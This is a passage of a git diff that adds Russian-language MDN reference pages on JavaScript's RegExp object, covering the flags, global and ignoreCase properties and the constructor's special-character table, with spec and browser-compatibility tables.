+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.10.6.21', 'RegExp.exec')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-regexp.prototype.exec', 'RegExp.exec')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>Глава про <a href="/ru/docs/Web/JavaScript/Guide/Regular_Expressions">регулярные выражения</a> в <a href="/ru/docs/Web/JavaScript/Guide">руководстве по JavaScript</a></li>
+ <li>{{jsxref("RegExp")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/regexp/flags/index.html b/files/ru/web/javascript/reference/global_objects/regexp/flags/index.html
new file mode 100644
index 0000000000..c69b279c3e
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/regexp/flags/index.html
@@ -0,0 +1,120 @@
+---
+title: RegExp.prototype.flags
+slug: Web/JavaScript/Reference/Global_Objects/RegExp/flags
+tags:
+  - ECMAScript6
+  - Experimental
+  - Expérimental(2)
+  - JavaScript
+  - Property
+  - Prototype
+  - Reference
+  - RegExp
+  - Référence(2)
+  - регулярные выражения
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/flags
+---
+<div>{{JSRef("Global_Objects", "RegExp")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Свойство <strong><code>flags</code></strong> возвращает строку, состоящую из флагов текущего регулярного выражения.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Флаги в свойстве <code>flags</code> упорядочены по алфавиту (слева направо, то есть <code>"gimuy"</code>).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_flags" name="Example:_Using_flags">Пример: использование свойства <code>flags</code></h3>
+
+<pre class="brush: js">/foo/ig.flags;   // "gi"
+/bar/myu.flags;  // "muy"
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<pre class="brush: js">if (RegExp.prototype.flags === undefined) {
+  Object.defineProperty(RegExp.prototype, 'flags', {
+    configurable: true,
+    get: function() {
+      return this.toString().match(/[gimuy]*$/)[0];
+    }
+  });
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-regexp.prototype.flags', 'RegExp.prototype.flags')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("37")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("37")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("RegExp.prototype.source")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/regexp/global/index.html b/files/ru/web/javascript/reference/global_objects/regexp/global/index.html
new file mode 100644
index 0000000000..ea31bfb150
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/regexp/global/index.html
@@ -0,0 +1,115 @@
+---
+title: RegExp.prototype.global
+slug: Web/JavaScript/Reference/Global_Objects/RegExp/global
+tags:
+  - JavaScript
+  - Property
+  - Prototype
+  - Reference
+  - RegExp
+  - регулярные выражения
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/global
+---
+<div>{{JSRef("Global_Objects", "RegExp")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <strong><code>global</code></strong> указывает, использовался ли в определении регулярного выражения флаг <code>"g"</code>. Свойство <code>global</code> является свойством только для чтения и принадлежит экземпляру регулярного выражения.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Значение свойства <code>global</code> имеет тип {{jsxref("Global_Objects/Boolean", "Boolean")}} и содержит <code>true</code>, если при определении регулярного выражения использовался флаг <code>"g"</code>; в противном случае оно содержит <code>false</code>. Флаг <code>"g"</code> указывает на то, что регулярное выражение должно проверять все возможные сопоставления в строке.</p>
+<p>Вы не можете напрямую изменить это свойство.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_global" name="Example:_Using_global">Пример: использование свойства <code>global</code></h3>
+<pre class="brush: js">var regex = new RegExp('foo', 'g');
+
+console.log(regex.global); // true
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.2.<br>
+    JavaScript 1.5: свойство <code>global</code> является свойством экземпляра {{jsxref("Global_Objects/RegExp", "RegExp")}}, а не самого объекта {{jsxref("Global_Objects/RegExp", "RegExp")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.10.7.2', 'RegExp.prototype.global')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-regexp.prototype.global', 'RegExp.prototype.global')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Свойство <code>global</code> теперь является свойством доступа в прототипе объекта, а не собственным свойством данных экземпляра.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("RegExp.lastIndex")}}</li>
+ <li>{{jsxref("RegExp.prototype.ignoreCase")}}</li>
+ <li>{{jsxref("RegExp.prototype.multiline")}}</li>
+ <li>{{jsxref("RegExp.prototype.source")}}</li>
+ <li>{{jsxref("RegExp.prototype.sticky")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/regexp/ignorecase/index.html b/files/ru/web/javascript/reference/global_objects/regexp/ignorecase/index.html
new file mode 100644
index 0000000000..f8888887b5
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/regexp/ignorecase/index.html
@@ -0,0 +1,115 @@
+---
+title: RegExp.prototype.ignoreCase
+slug: Web/JavaScript/Reference/Global_Objects/RegExp/ignoreCase
+tags:
+  - JavaScript
+  - Property
+  - Prototype
+  - Reference
+  - RegExp
+  - регулярные выражения
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/ignoreCase
+---
+<div>{{JSRef("Global_Objects", "RegExp")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <strong><code>ignoreCase</code></strong> указывает, использовался ли в определении регулярного выражения флаг <code>"i"</code>. Свойство <code>ignoreCase</code> является свойством только для чтения и принадлежит экземпляру регулярного выражения.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Значение свойства <code>ignoreCase</code> имеет тип {{jsxref("Global_Objects/Boolean", "Boolean")}} и содержит <code>true</code>, если при определении регулярного выражения использовался флаг <code>"i"</code>; в противном случае оно содержит <code>false</code>. Флаг <code>"i"</code> указывает на то, что регистр символов в строке, с которой сопоставляется регулярное выражение, должен игнорироваться.</p>
+<p>Вы не можете напрямую изменить это свойство.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_ignoreCase" name="Example:_Using_ignoreCase">Пример: использование свойства <code>ignoreCase</code></h3>
+<pre class="brush: js">var regex = new RegExp('foo', 'i');
+
+console.log(regex.ignoreCase); // true
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.2.<br>
+    JavaScript 1.5: свойство <code>ignoreCase</code> является свойством экземпляра {{jsxref("Global_Objects/RegExp", "RegExp")}}, а не самого объекта {{jsxref("Global_Objects/RegExp", "RegExp")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.10.7.3', 'RegExp.prototype.ignoreCase')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-regexp.prototype.ignorecase', 'RegExp.prototype.ignoreCase')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Свойство <code>ignoreCase</code> теперь является свойством доступа в прототипе объекта, а не собственным свойством данных экземпляра.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("RegExp.lastIndex")}}</li>
+ <li>{{jsxref("RegExp.prototype.global")}}</li>
+ <li>{{jsxref("RegExp.prototype.multiline")}}</li>
+ <li>{{jsxref("RegExp.prototype.source")}}</li>
+ <li>{{jsxref("RegExp.prototype.sticky")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/regexp/index.html b/files/ru/web/javascript/reference/global_objects/regexp/index.html
new file mode 100644
index 0000000000..9a864bee32
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/regexp/index.html
@@ -0,0 +1,665 @@
+---
+title: RegExp
+slug: Web/JavaScript/Reference/Global_Objects/RegExp
+tags:
+  - Constructor
+  - JavaScript
+  - Reference
+  - RegExp
+  - Référence(2)
+  - регулярные выражения
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp
+---
+<div>{{JSRef("Global_Objects", "RegExp")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Конструктор <strong><code>RegExp</code></strong> создаёт объект регулярного выражения для сопоставления текста с шаблоном.</p>
+
+<p>Введение в то, что представляют собой регулярные выражения, читайте в <a href="/ru/docs/Web/JavaScript/Guide/Regular_Expressions">главе «Регулярные выражения» в руководстве по JavaScript</a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-constructor.html")}}</div>
+
+<p class="hidden">Исходный код этого интерактивного примера хранится в репозитории на GitHub. Если вы хотите участвовать в проекте интерактивных примеров, пожалуйста, склонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и пришлите нам запрос на принятие изменений.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<p>Возможны как литеральная запись, так и запись через конструктор:</p>
+
+<pre class="syntaxbox notranslate"><code>/<var>pattern</var>/<var>flags</var>
+new RegExp(<var>pattern</var>, <var>flags</var>)</code>
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>pattern</code></dt>
+ <dd>Текст регулярного выражения.</dd>
+ <dt><code>flags</code></dt>
+ <dd>
+ <p>Если определён, может принимать любую комбинацию нижеследующих значений:</p>
+
+ <dl>
+  <dt><code>g</code></dt>
+  <dd>глобальное сопоставление</dd>
+  <dt><code>i</code></dt>
+  <dd>игнорирование регистра при сопоставлении</dd>
+  <dt><code>m</code></dt>
+  <dd>сопоставление по нескольким строкам; символы начала и конца (^ и $) начинают работать по нескольким строкам (то есть, происходит сопоставление с началом или концом <em>каждой</em> строки (строки разделяются символами \n или \r), а не только с началом или концом всей вводимой строки)</dd>
+  <dt><code>y</code> {{experimental_inline}}</dt>
+  <dd>«липкий» поиск; сопоставление в целевой строке начинается с индекса, на который указывает свойство <code>lastIndex</code> этого регулярного выражения (и не пытается сопоставиться с любого более позднего индекса).</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Существует два способа создания объекта <code>RegExp</code>: литеральная запись и использование конструктора. При записи строк параметры в литеральной записи не используют символы кавычек, в то время как параметры функции-конструктора используют кавычки. Так что следующие выражения создают одинаковые регулярные выражения:</p>
+
+<pre class="brush: js notranslate">/ab+c/i;
+new RegExp('ab+c', 'i');
+</pre>
+
+<p>Литеральная запись обеспечивает компиляцию регулярного выражения при вычислении выражения. Используйте литеральную запись если регулярное выражение будет неизменным. Например, если вы используете литеральную запись для конструирования регулярного выражения, используемого в цикле, регулярное выражение не будет перекомпилироваться на каждой итерации.</p>
+
+<p>Конструктор объекта регулярного выражения, например, <code>new RegExp('ab+c')</code>, обеспечивает компиляцию регулярного выражения во время выполнения. Используйте функцию-конструктор, если вы знаете, что шаблон регулярного выражения будет меняться или если вы не знаете шаблон и получаете его из внешних источников, например, из пользовательского ввода.</p>
+
+<p>При использовании функции-конструктора необходимо использовать обычные правила экранирования в строках (предварять специальные символы символом обратного слеша «\»). Например, следующие выражения эквивалентны:</p>
+
+<pre class="brush: js notranslate">var re = /\w+/;
+var re = new RegExp('\\w+');
+</pre>
+
+<h2 id="Special_characters_meaning_in_regular_expressions" name="Special_characters_meaning_in_regular_expressions">Значение специальных символов в регулярных выражениях</h2>
+
+<ul>
+ <li><a href="#character-classes">Символьные классы</a></li>
+ <li><a href="#character-sets">Наборы символов</a></li>
+ <li><a href="#boundaries">Границы</a></li>
+ <li><a href="#grouping-back-references">Группировка и обратные ссылки</a></li>
+ <li><a href="#quantifiers">Квантификаторы</a></li>
+</ul>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr id="character-classes">
+   <th colspan="2">Символьные классы</th>
+  </tr>
+  <tr>
+   <th>Символ</th>
+   <th>Значение</th>
+  </tr>
+  <tr>
+   <td><code>.</code></td>
+   <td>
+    <p>(Точка, десятичная запятая) сопоставляется с любым символом <em>за исключением</em> символов новой строки: <code>\n</code>, <code>\r</code>, <code>\u2028</code> или <code>\u2029</code>.</p>
+
+    <p>Обратите внимание, что флаг многострочности <code>m</code> не изменяет поведение точки. Так что для сопоставления с шаблона с несколькими строками используйте набор символов <code>[^]</code> (конечно, если только вам не нужно поддерживать старые версии IE), он сопоставляется с любым символом, включая символы новой строки.</p>
+
+    <p>Например, шаблон <code>/.н/</code> сопоставляется с подстрокой «ан», но не подстрокой «ну», во фразе «ну что, потанцуем».</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\d</code></td>
+   <td>
+    <p>Сопоставляется с символом цифры в базовом латинском алфавите. Эквивалентен набору символов <code>[0-9]</code>.</p>
+
+    <p>Например, шаблоны <code>/\d/</code> и <code>/[0-9]/</code> сопоставляются с подстрокой «2» в строке «B2 — это номер люкс».</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\D</code></td>
+   <td>
+    <p>Сопоставляется с любым символом, который не является цифрой в базовом латинском алфавите. Эквивалентен набору символов <code>[^0-9]</code>.</p>
+
+    <p>Например, шаблоны <code>/\D/</code> и <code>/[^0-9]/</code> сопоставляются с подстрокой «B» в строке «B2 — это номер люкс».</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\w</code></td>
+   <td>
+    <p>Сопоставляется с любым алфавитно-цифровым символом из базового латинского алфавита, включая символ подчёркивания. Эквивалентен набору символов <code>[A-Za-z0-9_]</code>.</p>
+
+    <p>Например, шаблон <code>/\w/</code> сопоставляется с подстрокой «a» в строке «apple», с подстрокой «5» в строке «$5.28» и с подстрокой «3» в строке «3D».</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\W</code></td>
+   <td>
+    <p>Сопоставляется с любым символом из базового латинского алфавита, не являющимся символом, из которых состоят слова. Эквивалентен набору символов <code>[^A-Za-z0-9_]</code>.</p>
+
+    <p>Например, шаблоны <code>/\W/</code> и <code>/[^A-Za-z0-9_]/</code> сопоставляются с подстрокой «%» в строке «50%».</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\s</code></td>
+   <td>
+    <p>Сопоставляется с одиночным пробельным символом, который включает в себя пробел, табуляцию, подачу страницы, перевод строки и другие пробельные символы Юникода. Эквивалентен набору символов <code>[ \f\n\r\t\v​\u00a0\u1680​\u180e\u2000​\u2001\u2002​\u2003\u2004​\u2005\u2006​\u2007\u2008​\u2009\u200a​\u2028\u2029​​\u202f\u205f​\u3000]</code>.</p>
+
+    <p>Например, шаблон <code>/\s\w*/</code> сопоставляется с подстрокой « bar» в строке «foo bar».</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\S</code></td>
+   <td>
+    <p>Сопоставляется с одиночным символом, не являющимся пробельным. Эквивалентен набору символов <code>[^ \f\n\r\t\v​\u00a0\u1680​\u180e\u2000​\u2001\u2002​\u2003\u2004​\u2005\u2006​\u2007\u2008​\u2009\u200a​\u2028\u2029​\u202f\u205f​\u3000]</code>.</p>
+
+    <p>Например, шаблон <code>/\S\w*/</code> сопоставляется с подстрокой «foo» в строке «foo bar».</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\t</code></td>
+   <td>Сопоставляется с символом табуляции.</td>
+  </tr>
+  <tr>
+   <td><code>\r</code></td>
+   <td>Сопоставляется с символом возврата каретки.</td>
+  </tr>
+  <tr>
+   <td><code>\n</code></td>
+   <td>Сопоставляется с символом перевода строки.</td>
+  </tr>
+  <tr>
+   <td><code>\v</code></td>
+   <td>Сопоставляется с символом вертикальной табуляции.</td>
+  </tr>
+  <tr>
+   <td><code>\f</code></td>
+   <td>Сопоставляется с символом подачи страницы.</td>
+  </tr>
+  <tr>
+   <td><code>[\b]</code></td>
+   <td>Сопоставляется с символом забоя (не перепутайте его с символьным классом <code>\b</code>).</td>
+  </tr>
+  <tr>
+   <td><code>\0</code></td>
+   <td>Сопоставляется с нулевым символом. Не ставьте за ним другую цифру.</td>
+  </tr>
+  <tr>
+   <td><code>\c<em>X</em></code></td>
+   <td>
+    <p>Где <code><em>X</em></code> является буквой от «A» до «Z». Сопоставляется с управляющим символом в строке.</p>
+
+    <p>Например, шаблон <code>/\cM/</code> сопоставляется с символом control-M в строке.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\x<em>hh</em></code></td>
+   <td>Сопоставляется с символом с кодом <code><em>hh</em></code> (две шестнадцатеричные цифры).</td>
+  </tr>
+  <tr>
+   <td><code>\u<em>hhhh</em></code></td>
+   <td>Сопоставляется с символом со значением Юникода <code><em>hhhh</em></code> (четыре шестнадцатеричные цифры).</td>
+  </tr>
+  <tr>
+   <td><code>\</code></td>
+   <td>
+    <p>Для символов, которые обычно трактуются буквально, указывает, что следующий символ является специальным и не должен интерпретироваться буквально.</p>
+
+    <p>Например, шаблон <code>/b/</code> сопоставляется с символом «b». Поместив перед ним символ обратного слеша, то есть превратив шаблон в <code>/\b/</code>, символ приобретёт специальное значение, обозначающее сопоставление с границей слова.</p>
+
+    <p><em>или</em></p>
+
+    <p>Для символов, которые обычно трактуются специальным образом, указывает, что следующий символ не является специальным и должен интерпретироваться буквально.</p>
+
+    <p>Например, звёздочка «*» является специальным символом, обозначающим ноль или более вхождений предшествующего символа при сопоставлении; поэтому шаблон <code>/a*/</code> означает сопоставление с нулём или более символов «a». Для буквального сопоставления со звёздочкой <code>*</code> предварите её символом обратного слеша; например, шаблон <code>/a\*/</code> сопоставляется со строкой «a*».</p>
+   </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr id="character-sets">
+   <th colspan="2">Наборы символов</th>
+  </tr>
+  <tr>
+   <th>Символ</th>
+   <th>Значение</th>
+  </tr>
+  <tr>
+   <td><code>[xyz]</code></td>
+   <td>
+    <p>Набор символов. Сопоставляется с любым из заключённых в квадратные скобки символов. С помощью дефиса вы можете определить диапазон символов.</p>
+
+    <p>Например, шаблон <code>[абвгд]</code> означает тоже самое, что и шаблон <code>[а-д]</code>. Они сопоставляются с символом «г» в слове «грудинка» и символом «б» в слове «отбивная».</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>[^xyz]</code></td>
+   <td>
+    <p>Отрицательный или дополнительный набор символов. То есть он сопоставляется со всеми символами, что не заключены в квадратные скобки. С помощью дефиса вы можете определить диапазон символов.</p>
+
+    <p>Например, шаблон <code>[^абвгд]</code> означает тоже самое, что и шаблон <code>[^а-д]</code>. Они сопоставляются с символом «е» в слове «бекон» и символом «о» в слове «отбивная».</p>
+   </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr id="boundaries">
+   <th colspan="2">Границы</th>
+  </tr>
+  <tr>
+   <th>Символ</th>
+   <th>Значение</th>
+  </tr>
+  <tr>
+   <td><code>^</code></td>
+   <td>
+    <p>Сопоставляется c началом ввода. Если установлен флаг многострочности, также сопоставляется с позицией сразу за символом переноса строки.</p>
+
+    <p>Например, шаблон <code>/^Б/</code> не сопоставляется с буквой «Б» в строке «буква Б», но сопоставляеся с первой буквой «Б» в строке «Буква Б».</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>$</code></td>
+   <td>
+    <p>Сопоставляется c концом ввода. Если установлен флаг многострочности, также сопоставляется с позицией сразу перед символом переноса строки.</p>
+
+    <p>Например, шаблон <code>/т$/</code> не сопоставляется с буквой «т» в слове «кормить», но сопоставляеся с ней в слове «кормит».</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\b</code></td>
+   <td>
+    <p>Сопоставляется с границей слова нулевой ширины, например с позицией между буквой и пробелом (не путайте его с набором символов <code>[\b]</code>).</p>
+
+    <p>Например, шаблон <code>/\bпол/</code> сопоставляется с подстрокой «пол» в строке «в полдень»; шаблон <code>/но\b/</code> сопоставляется с подстрокой «но» в строке «возможно завтра».</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\B</code></td>
+   <td>
+    <p>Сопоставляется с границей не-слов нулевой ширины, например с позицией между двумя буквами или двумя пробелами.</p>
+
+    <p>Например, шаблон <code>/\Bдень/</code> сопоставляется с подстрокой «день» в строке «в полдень»; шаблон <code>/за\B/</code> сопоставляется с подстрокой «за» в строке «возможно завтра».</p>
+   </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr id="grouping-back-references">
+   <th colspan="2">Группировка и обратные ссылки</th>
+  </tr>
+  <tr>
+   <th>Символ</th>
+   <th>Значение</th>
+  </tr>
+  <tr>
+   <td><code>(<em>x</em>)</code></td>
+   <td>
+    <p>Сопоставляется с <code><em>x</em></code> и запоминает сопоставление. Называется «захватывающие скобки».</p>
+
+    <p>Например, шаблон <code>/(foo)/</code> сопоставлется с подстрокой «foo» и запоминает её в строке «foo bar». Сопоставленую подстроку можно достать из элементов <code>[1], ..., [n]</code> результирующего массива или из предопределённых свойств <code>$1, ..., $9</code> объекта <code>RegExp</code>.</p>
+
+    <p>Захват групп ведёт к проседанию производительности. Если вам не нужно повторно ссылаться на захваченную подстроку, лучше использовать скобки без захвата (смотрите ниже).</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\<em>n</em></code></td>
+   <td>
+    <p>Где <code><em>n</em></code> является целым положительным числом. Обратная ссылка на последнюю сопоставившуюся подстроку в <em>n</em>-ных по счёту круглых скобках в регулярном выражении (нумерация скобок идет слева направо).</p>
+
+    <p>Например, шаблон <code>/яблоко(,)\sапельсин\1/</code> сопоставится подстроке «яблоко, апельсин,» в строке «яблоко, апельсин, вишня, персик». Более подробный пример смотрите после этой таблицы.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>(?:<em>x</em>)</code></td>
+   <td>Сопоставляется с <code><em>x</em></code>, но не запоминает сопоставление. Называется «незахватывающие скобки». Сопоставленную подстроку нельзя достать из элементов <code>[1], ..., [n]</code> результирующего массива или из предопределённых свойств <code>$1, ..., $9</code> объекта <code>RegExp</code>.</td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr id="quantifiers">
+   <th colspan="2">Квантификаторы</th>
+  </tr>
+  <tr>
+   <th>Символ</th>
+   <th>Значение</th>
+  </tr>
+  <tr>
+   <td><code><em>x</em>*</code></td>
+   <td>
+    <p>Сопоставляется с предшествующим элементом <em>x</em> ноль или более раз.</p>
+
+    <p>Например, шаблон <code>/ела*/</code> сопоставляется с подстрокой «ел» в строке «Призрак просвистел» и подстрокой «ела» в строке «Птица пропела», но ни с чем не сопоставится в строке «Козёл хмыкнул».</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code><em>x</em>+</code></td>
+   <td>
